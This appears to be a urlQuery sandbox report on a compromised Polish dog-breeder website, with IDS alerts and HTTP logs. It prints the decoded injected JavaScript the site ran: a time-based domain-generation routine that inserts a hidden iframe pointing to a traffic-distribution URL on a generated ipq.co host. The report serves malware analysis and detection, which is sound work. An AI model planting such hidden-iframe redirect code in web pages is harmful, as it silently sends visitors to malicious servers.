Overview

URLhttp://sznaucer-figa.nd.e-wro.pl/
IP217.30.152.177
ASNAS15857 Telefonia Dialog sp.z.o.o.
Location Poland
Report completed2012-11-06 10:21:14 CET
StatusLoading report..
urlQuery Alerts Detected a TDS URL pattern


Settings

UserAgentMozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Referer
Adobe Reader8.0
Java1.6.0_26


Intrusion Detection Systems

Suricata /w Emerging Threats Pro
Timestamp Source IP Destination IP Severity Alert
2012-11-06 10:20:40 217.30.152.177 urlQuery Client2ET WEB_CLIENT eval String.fromCharCode String Which May Be Malicious
2012-11-06 10:20:41 217.30.152.177 urlQuery Client2ET WEB_CLIENT eval String.fromCharCode String Which May Be Malicious
2012-11-06 10:20:41 217.30.152.177 urlQuery Client2ET WEB_CLIENT eval String.fromCharCode String Which May Be Malicious
2012-11-06 10:20:41 217.30.152.177 urlQuery Client2ET WEB_CLIENT eval String.fromCharCode String Which May Be Malicious
Snort /w Sourcefire VRT No alerts detected


Recent reports on same IP/ASN/Domain

Last 6 reports on IP: 217.30.152.177

Date Alerts / IDS URL IP
2013-02-11 23:51:581 / 1http://sznaucer-figa.nd.e-wro.pl/wzorzec-mini.htm217.30.152.177
2013-02-11 20:04:101 / 4http://sznaucer-figa.nd.e-wro.pl/217.30.152.177
2013-02-11 18:22:381 / 1http://sznaucer-figa.nd.e-wro.pl/gal-jesien2005.htm217.30.152.177
2013-01-27 14:34:291 / 1http://sznaucer-figa.nd.e-wro.pl/nosowka.htm217.30.152.177
2013-01-20 23:26:451 / 1http://sznaucer-figa.nd.e-wro.pl/historia-mini.htm217.30.152.177
2013-01-13 21:55:530 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia10.exe217.30.152.177

Last 6 reports on ASN: AS15857 Telefonia Dialog sp.z.o.o.

Date Alerts / IDS URL IP
2013-01-12 06:01:250 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia03.exe217.30.152.177
2013-01-12 06:01:210 / 3http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia10.exe217.30.152.177
2013-01-12 06:01:190 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia02.exe217.30.152.177
2013-01-12 06:00:470 / 3http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia05.exe217.30.152.177
2013-01-10 04:43:360 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia09.exe217.30.152.177
2013-01-10 04:43:360 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia08.exe217.30.152.177

Last 6 reports on domain: sznaucer-figa.nd.e-wro.pl

Date Alerts / IDS URL IP
2013-02-11 23:51:581 / 1http://sznaucer-figa.nd.e-wro.pl/wzorzec-mini.htm217.30.152.177
2013-02-11 20:04:101 / 4http://sznaucer-figa.nd.e-wro.pl/217.30.152.177
2013-02-11 18:22:381 / 1http://sznaucer-figa.nd.e-wro.pl/gal-jesien2005.htm217.30.152.177
2013-01-27 14:34:291 / 1http://sznaucer-figa.nd.e-wro.pl/nosowka.htm217.30.152.177
2013-01-20 23:26:451 / 1http://sznaucer-figa.nd.e-wro.pl/historia-mini.htm217.30.152.177
2013-01-13 21:55:530 / 2http://sznaucer-figa.nd.e-wro.pl/obrazki/puzzle/figusia10.exe217.30.152.177



JavaScript

Executed Scripts (3)


Executed Evals (1)

#1 JavaScript::Eval (size: 1704, repeated: 5) 

function getMonthNum(abbMonth) {
    var arrMon = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "A ug", "Sep", "Oct", "Nov", "Dec");
    var i;
    for (i = 0; i < arrMon.length; i++) {
        if (abbMonth == arrMon[i]) {
            return i;
        }
    }
    return -1;
}
function dateUTCdateToDate(dateString) {
    var arrDateStr = dateString.split(" ");
    var month = getMonthNum(arrDateStr[2]);
    var day = arrDateStr[1];
    var year = arrDateStr[3];
    var hour = arrDateStr[4].substr(0, 2);
    var minute = arrDateStr[4].substr(3, 2);
    var second = arrDateStr[4].substr(6, 2);
    return new Date(year, month, day, hour, minute, second);
}
function get_domain(y, m, d, h, prefix, postfix) {
    var chars = "k2pdh4qwej9j2rob51holnl3prxbkwhfp5ea";
    url = new String();
    for (var i = 0; i < 4; i++) {
        t = i;
        l = chars.length;
        t = (t + h) % l;
        url += chars.substr(t, 1);
        t = (t + d) % l;
        url += chars.substr(t, 1);
        t = (t + m) % l;
        url += chars.substr(t, 1);
        t = (t + y) % l;
        url += chars.substr(t, 1);
    }
    return (prefix + url + postfix).toLowerCase();
}
function get_current_domain(prefix, postfix) {
    var dt = new Date();
    var y = dt.getUTCFullYear();
    var m = dt.getMonth();
    var d = dt.getUTCDate();
    var h = dt.getUTCHours();
    return get_domain(y, m, d, Math.floor(h / 8), prefix, postfix);
}
var current_domain = "http://" + get_current_domain("g", "") + ".ipq.co/go.php?sid=3";
setTimeout(function() {
    try {
        var s = document.createElement("iframe");
        s.style.visibility = "hidden";
        s.style.display = "none";
        s.setAttribute("src", current_domain);
        document.body.appendChild(s)
    } catch (e) {}
}, 500);

Executed Writes (0)



HTTP Transactions (20)


Request Response 
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:40 GMT
Server: lighty
GET / HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Range: bytes=7300-
If-Range: &quot;-1850686184&quot;
 
HTTP/1.1 206 Partial Content

Content-Type: text/html

Accept-Ranges: bytes
Etag: &quot;-1850686184&quot;
Last-Modified: Wed, 21 Sep 2011 16:55:25 GMT
Content-Range: bytes 7300-8028/8029
Content-Length: 729
Date: Tue, 06 Nov 2012 09:20:40 GMT
Server: lighty
GET /gora.htm HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/
 
HTTP/1.1 200 OK

Content-Type: text/html

Accept-Ranges: bytes
Etag: &quot;1995367863&quot;
Last-Modified: Tue, 26 Jul 2011 09:02:57 GMT
Content-Length: 8607
Date: Tue, 06 Nov 2012 09:20:40 GMT
Server: lighty
GET /lewa.htm HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/
 
HTTP/1.1 200 OK

Content-Type: text/html

Accept-Ranges: bytes
Etag: &quot;623519065&quot;
Last-Modified: Wed, 21 Sep 2011 16:56:11 GMT
Content-Length: 10380
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/tlo-gora.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/gora.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;1253990683&quot;
Last-Modified: Fri, 09 Sep 2005 16:36:49 GMT
Content-Length: 1877
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/tlo-lewa.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/lewa.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;431972743&quot;
Last-Modified: Fri, 09 Sep 2005 16:36:49 GMT
Content-Length: 3621
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /news.htm HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/
 
HTTP/1.1 200 OK

Content-Type: text/html

Accept-Ranges: bytes
Etag: &quot;-2044058442&quot;
Last-Modified: Wed, 21 Sep 2011 16:56:24 GMT
Content-Length: 10625
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /+imageURL+ HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/news.htm
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/lewa-2.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/lewa.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;455750362&quot;
Last-Modified: Mon, 02 Jan 2006 17:50:30 GMT
Content-Length: 24884
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/gora-1.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/gora.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;-1052104143&quot;
Last-Modified: Mon, 02 Jan 2006 17:50:29 GMT
Content-Length: 17968
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/gora-2.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/gora.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;-525719014&quot;
Last-Modified: Mon, 02 Jan 2006 17:50:30 GMT
Content-Length: 17848
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /obrazki/lewa-1.jpg HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/lewa.htm
 
HTTP/1.1 200 OK

Content-Type: image/jpeg

Accept-Ranges: bytes
Etag: &quot;-389404210&quot;
Last-Modified: Mon, 02 Jan 2006 17:50:30 GMT
Content-Length: 18272
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:41 GMT
Server: lighty
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:42 GMT
Server: lighty
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 404 Not Found

Content-Type: text/html

Content-Length: 345
Date: Tue, 06 Nov 2012 09:20:43 GMT
Server: lighty
GET / HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 
HTTP/1.1 200 OK

Content-Type: text/html

Accept-Ranges: bytes
Etag: &quot;-1850686184&quot;
Last-Modified: Wed, 21 Sep 2011 16:55:25 GMT
Content-Length: 8029
Date: Tue, 06 Nov 2012 09:20:40 GMT
Server: lighty
GET /favicon.ico HTTP/1.1

Host: sznaucer-figa.nd.e-wro.pl

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
 


 
 
GET /go.php?sid=3 HTTP/1.1

Host: g2w1rpehodjobh9l5.ipq.co

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/lewa.htm
 		 


 
 
GET /go.php?sid=3 HTTP/1.1

Host: g2w1rpehodjobh9l5.ipq.co

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://sznaucer-figa.nd.e-wro.pl/news.htm